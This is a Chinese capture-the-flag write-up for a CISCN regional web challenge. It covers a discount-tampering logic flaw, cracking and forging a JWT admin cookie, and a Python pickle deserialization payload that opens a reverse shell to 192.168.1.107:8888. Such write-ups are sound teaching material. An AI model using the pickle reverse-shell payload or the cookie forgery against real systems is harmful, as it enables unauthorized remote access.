ciscn-华北赛区-Day1-Web2题解

漏洞点

薅羊毛逻辑漏洞

Cookie伪造 -> JWT

python反序列化 -> 反弹shell

薅羊毛逻辑漏洞

打开题目是这样一个页面

其实最初的题目这个募集资金的进度条是没有刷满的,注册小号刷满即可

这就是一个薅羊毛的逻辑漏洞

看最下边的提示 -> 一定要买到 lv6

翻了下前几页,没有lv6这个图片,一共有500百页

写个搜索脚本:

import requests

url = "http://127.0.0.1:8083/"

for i in range(1,501):
   r = requests.get(url + "shop?page=" + str(i))

   if r.text.find("lv6.png") != -1:
       print(i)
       break

查到在181页

 

买lv6,但是这麽多钱,买不起咋办?

审计页面的HTML代码有个优惠折扣,把它改到很小

跳到了这样一个页面

JWT-Cookie伪造

关于JWT—Cookie伪造的原理请自行查阅

爆破密钥

工具:c-jwt-cracker

有个网站https://jwt.io/

可以在这里伪造Cookie,把用户改为admin,密钥为上边破解出来的 "1kun"

抓包改JWT的值,发现一个源码www.zip,下载下来

python反序列化-反弹shell

Admin.py中有个反序列化的点

构造反弹shell的payload:

import pickle
import urllib
import os

class exp(object):
   def __reduce__(self):
       s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
       return os.system, (s,)

e=exp()
poc = pickle.dumps(e)
print poc

生成payload:

 

这个界面有个隐藏表单,把生成的payload URL编码放进去提交

 

本机(攻击机)nc监听,拿到一个shell,flag在根目录下

 

posted @ 2019-06-13 14:51  AKA邓紫棋  阅读(1023)  评论(0编辑  收藏  举报